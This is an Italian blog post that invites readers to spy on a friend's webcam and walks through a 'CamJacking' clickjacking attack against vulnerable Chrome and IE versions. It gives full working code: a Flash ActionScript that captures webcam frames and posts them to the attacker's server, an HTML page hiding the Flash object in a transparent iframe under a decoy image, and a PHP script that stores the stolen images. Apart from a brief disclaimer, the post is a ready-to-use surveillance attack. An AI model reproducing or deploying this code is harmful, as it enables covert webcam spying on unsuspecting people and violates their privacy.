Volete spiare la webcam del vostro amico?Bastano veramente poche conoscenze informatiche. Basta utilizzare il Clickjacking.
Permettetemi di aprire il post con questa frase:
“Quello che l’occhio vede la mente crede”
Si, è una frase che mi piace moltissimo, la ricorderete senz’altro nel film, Codice Swordfish. Ma qui si parla di realtà, infatti ora vi mostrerò come è possibile eludere antivirus, antimalware e molti altri software di protezione, solo con la curiosità.
Prima di iniziare vediamo cos’è il clickjacking.
Che cosè il Clickjacking
Il Clickjacking è un tecnica hacking, che si basa sul coprire o nascondere le azioni malevole da far fare all’utente, dietro una pagina di copertina apparentemente innoqua. Ad esempio, durante la navigazione web, l’utente viene spinto a cliccare con il mouse su un link o un’immagine innoqua, in realtà il click viene, a sua insaputa, effettuato su un altro oggetto nascosto sotto la pagina, che avvia azioni malevole.
Questo tipo di tecnica, sfrutta vulnerabilità Javascript, Css e iFrame. Il Clickjacking è stato rivelato per la prima volta nel settembre 2008 da Robert Hansen e Jeremiah Grossman.
Proof o Concept ( CamJacking )
Prendiamo il concetto di Clickjacking e portiamolo verso il linguaggio Flash e Webcam. Creeremo cosi una nuova tecnica chiamata CamJacking
Un ricercatore russo Egor Homakov ha scoperto questa vulnerabilità, che colpisce IE e Chrome 27.0.1453.110. La tecnica si basa sull’opacita gestita da Flash nei browser vulnerabili.
Iniziamo con il creare il nostro Action Script in Flash.
package{ import flash.display.BitmapData; import flash.display.Sprite; import flash.media.Camera; import flash.media.Video; import flash.net.*; import flash.utils.ByteArray; import flash.events.*; public class Main extends Sprite { private var cam:Camera; private var video:Video; private var bitmapdata:BitmapData; private var ba:ByteArray; private var url:URLRequest = new URLRequest("http://ILVOSTROSERVER/uploadFoto.php"); private var wclose:URLRequest = new URLRequest("javascript:alert('Camjacked? Ok. |fil9{06.2013}|');"); private var loader : URLLoader = new URLLoader(); public function Main():void { run(); } private function run():void { cam = Camera.getCamera(); if(cam != null){ //Если камера есть cam.addEventListener(ActivityEvent.ACTIVITY, activityHandler); video = new Video(640, 480); cam.setMode(640, 480, 60); //60 fps video.attachCamera(cam); } } private function activityHandler(event:ActivityEvent):void { bitmapdata = new BitmapData(video.width, video.height); bitmapdata.draw(video); ba = PNGEncoder.encode(bitmapdata); //Adobe PNGEncoder url.method = URLRequestMethod.POST; url.data = ba; loader.addEventListener(Event.COMPLETE, on_complete); loader.load(url); function on_complete(e : Event):void { navigateToURL(wclose, '_self'); } cam.removeEventListener(ActivityEvent.ACTIVITY, activityHandler); } } } |
Ora dobbiamo scaricare due software che ci vengono in aiuto per visualizzare delle immagini come copertina.
Creiamo ora la pagina dove ci sarà il nostro file in flash. flash.html
<object width="270" height="270" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="camjack.swf" /> <embed width="270" height="270" type="application/x-shockwave-flash" src="camjack.swf" /></object> |
Ora l’index.html
<script type="text/javascript">// < ![CDATA[ var exit=function(){document.location='about:blank'}; var tryimages=function(){ (document.getElementById('imgenabled').height==1&&document.getElementById('imgenabled').width==1)}; var load=function(){ //Chrome, Windows 7, Windows 8 if((!tryimages()) || (navigator.userAgent.indexOf('Chrome') == -1)/* || ((navigator.userAgent.indexOf('Windows NT 6.1') == -1) & (navigator.userAgent.indexOf('Windows NT 6.2') == -1))*/) { exit() }; //Windows 7 Chrome hack if(navigator.userAgent.indexOf('Windows NT 6.1') != -1){ //DIRTY HACK (Windows 7) setInterval("document.getElementById('ifr').height=1;document.getElementById('ifr').height=291",300); setInterval("document.getElementById('ifr').width=1;document.getElementById('ifr').width=291",350); setTimeout("document.getElementById('img').width=291",1000); setTimeout("document.getElementById('img').height=291",1070); }}; // ]]> </script> Camjacking simple example <style><!-- iframe { position: absolute; opacity: 0.0; z-index: 1; }; --></style> <!-- PNG 1x1 --> <img id="imgenabled" style="display: none;" alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAAMSURBVBhXY/j//z8ABf4C/qc1gYQAAAAASUVORK5CYII=" /> <iframe id="ifr" src="./flash.html" height="290" width="290"></iframe> <img id="img" alt="" src="./img.jpg" width="290" height="290" /> |
Ora sta alla vostra fantasia trovare un’immagine grandezza 290×290 da usare come “trappola”. Una volta trovata rinominatela “img.jpg” e mettetela nella cartella del progetto.
Creiamo il nostro script che si occuperà di fare l’upload delle immagini della webcam nel nostro server.
Fate attenzione, è un file banale per mostrarvi l’esempio. Vi consiglio di scriverne uno con qualche accortezza di sicurezza in più.
upload.php
< ?php $imgdata = file_get_contents('php://input'); //input raw POST data $length = 10; $randomString = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $length); $imgname = "./images/".$randomString.".png"; if($imgdata){ file_put_contents($imgname, $imgdata); //PHP5 }; ?> |
Disclaimer: Ovviamente non mi assumo la responsabilità delle vostre azioni con queste informazioni. Questa cosa se usata senza mettere a conoscenza a chi viene fatta è illegale.
Comments by Fabio Natalucci
Postfix: come configurare smtp esterno
Perfetto! Sono contento che ti sia stata utile.